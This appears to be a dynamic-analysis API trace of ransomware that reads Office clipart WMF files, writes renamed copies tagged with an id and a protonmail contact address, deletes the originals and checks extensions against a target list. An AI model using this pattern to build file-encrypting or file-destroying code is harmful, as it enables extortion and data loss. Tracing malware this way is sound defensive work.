	[0194.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0194.420] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=11900) returned 1
	[0194.421] CloseHandle (hObject=0x5d8) returned 1
	[0194.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 0x220
	[0194.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0194.421] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.422] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.422] GetLastError () returned 0x0
	[0194.422] ReadFile (in: hFile=0x5d8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x2e7c, lpOverlapped=0x0) returned 1
	[0194.424] WriteFile (in: hFile=0x5ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x2e80, lpOverlapped=0x0) returned 1
	[0194.426] ReadFile (in: hFile=0x5d8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.426] WriteFile (in: hFile=0x5ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.426] SetEndOfFile (hFile=0x5ac) returned 1
	[0194.427] CloseHandle (hObject=0x5ac) returned 1
	[0194.427] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.427] SetEndOfFile (hFile=0x5d8) returned 1
	[0194.430] CloseHandle (hObject=0x5d8) returned 1
	[0194.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 1
	[0194.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0194.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0194.431] lstrlenW (lpString=".doc") returned 4
	[0194.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.431] lstrlenW (lpString=".docx") returned 5
	[0194.431] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0194.431] lstrlenW (lpString=".pdf") returned 4
	[0194.431] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.432] lstrlenW (lpString=".xls") returned 4
	[0194.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.432] lstrlenW (lpString=".xlsx") returned 5
	[0194.432] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0194.432] lstrlenW (lpString=".ppt") returned 4
	[0194.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0194.432] lstrlenW (lpString=".zip") returned 4
	[0194.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.432] lstrlenW (lpString=".rar") returned 4
	[0194.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.432] lstrlenW (lpString=".bz2") returned 4
	[0194.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.432] lstrlenW (lpString=".7z") returned 3
	[0194.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0194.432] lstrlenW (lpString=".dbf") returned 4
	[0194.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0194.432] lstrlenW (lpString=".1cd") returned 4
	[0194.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0194.432] lstrlenW (lpString=".jpg") returned 4
	[0194.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0194.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0194.432] lstrlenW (lpString=".doc") returned 4
	[0194.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.433] lstrlenW (lpString=".docx") returned 5
	[0194.433] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0194.433] lstrlenW (lpString=".pdf") returned 4
	[0194.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.433] lstrlenW (lpString=".xls") returned 4
	[0194.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.433] lstrlenW (lpString=".xlsx") returned 5
	[0194.433] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0194.433] lstrlenW (lpString=".ppt") returned 4
	[0194.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0194.433] lstrlenW (lpString=".zip") returned 4
	[0194.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.433] lstrlenW (lpString=".rar") returned 4
	[0194.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.433] lstrlenW (lpString=".bz2") returned 4
	[0194.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.433] lstrlenW (lpString=".7z") returned 3
	[0194.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0194.433] lstrlenW (lpString=".dbf") returned 4
	[0194.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0194.433] lstrlenW (lpString=".1cd") returned 4
	[0194.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0194.433] lstrlenW (lpString=".jpg") returned 4
	[0194.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.434] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0194.434] lstrlenW (lpString="J0106222.WMF") returned 12
	[0194.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0194.434] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=19600) returned 1
	[0194.434] CloseHandle (hObject=0x5d8) returned 1
	[0194.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 0x220
	[0194.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0194.435] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.435] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.436] GetLastError () returned 0x0
	[0194.436] ReadFile (in: hFile=0x5d8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x4c90, lpOverlapped=0x0) returned 1
	[0194.438] WriteFile (in: hFile=0x5ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x4ca0, lpOverlapped=0x0) returned 1
	[0194.440] ReadFile (in: hFile=0x5d8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.440] WriteFile (in: hFile=0x5ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.440] SetEndOfFile (hFile=0x5ac) returned 1
	[0194.440] CloseHandle (hObject=0x5ac) returned 1
	[0194.441] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.441] SetEndOfFile (hFile=0x5d8) returned 1
	[0194.444] CloseHandle (hObject=0x5d8) returned 1
	[0194.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 1
	[0194.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0194.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0194.445] lstrlenW (lpString=".doc") returned 4
	[0194.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.445] lstrlenW (lpString=".docx") returned 5
	[0194.445] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0194.445] lstrlenW (lpString=".pdf") returned 4
	[0194.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.445] lstrlenW (lpString=".xls") returned 4
	[0194.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.445] lstrlenW (lpString=".xlsx") returned 5
	[0194.445] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0194.445] lstrlenW (lpString=".ppt") returned 4
	[0194.445] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0194.445] lstrlenW (lpString=".zip") returned 4
	[0194.445] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.445] lstrlenW (lpString=".rar") returned 4
	[0194.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.446] lstrlenW (lpString=".bz2") returned 4
	[0194.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.446] lstrlenW (lpString=".7z") returned 3
	[0194.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0194.446] lstrlenW (lpString=".dbf") returned 4
	[0194.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0194.446] lstrlenW (lpString=".1cd") returned 4
	[0194.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0194.446] lstrlenW (lpString=".jpg") returned 4
	[0194.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0194.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0194.446] lstrlenW (lpString=".doc") returned 4
	[0194.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.446] lstrlenW (lpString=".docx") returned 5
	[0194.446] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0194.446] lstrlenW (lpString=".pdf") returned 4
	[0194.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.446] lstrlenW (lpString=".xls") returned 4
	[0194.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.446] lstrlenW (lpString=".xlsx") returned 5
	[0194.446] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0194.446] lstrlenW (lpString=".ppt") returned 4
	[0194.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0194.446] lstrlenW (lpString=".zip") returned 4
	[0194.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.447] lstrlenW (lpString=".rar") returned 4
	[0194.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.447] lstrlenW (lpString=".bz2") returned 4
	[0194.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.447] lstrlenW (lpString=".7z") returned 3
	[0194.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0194.447] lstrlenW (lpString=".dbf") returned 4
	[0194.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0194.447] lstrlenW (lpString=".1cd") returned 4
	[0194.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0194.447] lstrlenW (lpString=".jpg") returned 4
	[0194.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.447] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0194.447] lstrlenW (lpString="J0106572.WMF") returned 12
	[0194.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0194.448] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=2148) returned 1
	[0194.449] CloseHandle (hObject=0x5d8) returned 1
	[0194.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 0x220
	[0194.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0194.449] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.449] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.450] GetLastError () returned 0x0
	[0194.450] ReadFile (in: hFile=0x5d8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x864, lpOverlapped=0x0) returned 1
	[0194.724] WriteFile (in: hFile=0x5ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x870, lpOverlapped=0x0) returned 1
	[0194.725] ReadFile (in: hFile=0x5d8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.725] WriteFile (in: hFile=0x5ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.725] SetEndOfFile (hFile=0x5ac) returned 1
	[0194.725] CloseHandle (hObject=0x5ac) returned 1
	[0194.725] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.725] SetEndOfFile (hFile=0x5d8) returned 1
	[0194.728] CloseHandle (hObject=0x5d8) returned 1
	[0194.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 1
	[0194.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0194.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0194.729] lstrlenW (lpString=".doc") returned 4
	[0194.729] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.729] lstrlenW (lpString=".docx") returned 5
	[0194.729] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0194.729] lstrlenW (lpString=".pdf") returned 4
	[0194.729] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.729] lstrlenW (lpString=".xls") returned 4
	[0194.729] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.730] lstrlenW (lpString=".xlsx") returned 5
	[0194.730] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0194.730] lstrlenW (lpString=".ppt") returned 4
	[0194.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0194.730] lstrlenW (lpString=".zip") returned 4
	[0194.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.730] lstrlenW (lpString=".rar") returned 4
	[0194.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.730] lstrlenW (lpString=".bz2") returned 4
	[0194.730] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.730] lstrlenW (lpString=".7z") returned 3
	[0194.730] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0194.730] lstrlenW (lpString=".dbf") returned 4
	[0194.730] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0194.730] lstrlenW (lpString=".1cd") returned 4
	[0194.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0194.730] lstrlenW (lpString=".jpg") returned 4
	[0194.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0194.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0194.731] lstrlenW (lpString=".doc") returned 4
	[0194.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.731] lstrlenW (lpString=".docx") returned 5
	[0194.731] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0194.731] lstrlenW (lpString=".pdf") returned 4
	[0194.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.731] lstrlenW (lpString=".xls") returned 4
	[0194.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.731] lstrlenW (lpString=".xlsx") returned 5
	[0194.731] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0194.731] lstrlenW (lpString=".ppt") returned 4
	[0194.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0194.731] lstrlenW (lpString=".zip") returned 4
	[0194.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.731] lstrlenW (lpString=".rar") returned 4
	[0194.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.731] lstrlenW (lpString=".bz2") returned 4
	[0194.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.731] lstrlenW (lpString=".7z") returned 3
	[0194.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0194.731] lstrlenW (lpString=".dbf") returned 4
	[0194.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0194.731] lstrlenW (lpString=".1cd") returned 4
	[0194.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0194.731] lstrlenW (lpString=".jpg") returned 4
	[0194.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.732] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0194.732] lstrlenW (lpString="J0107130.WMF") returned 12
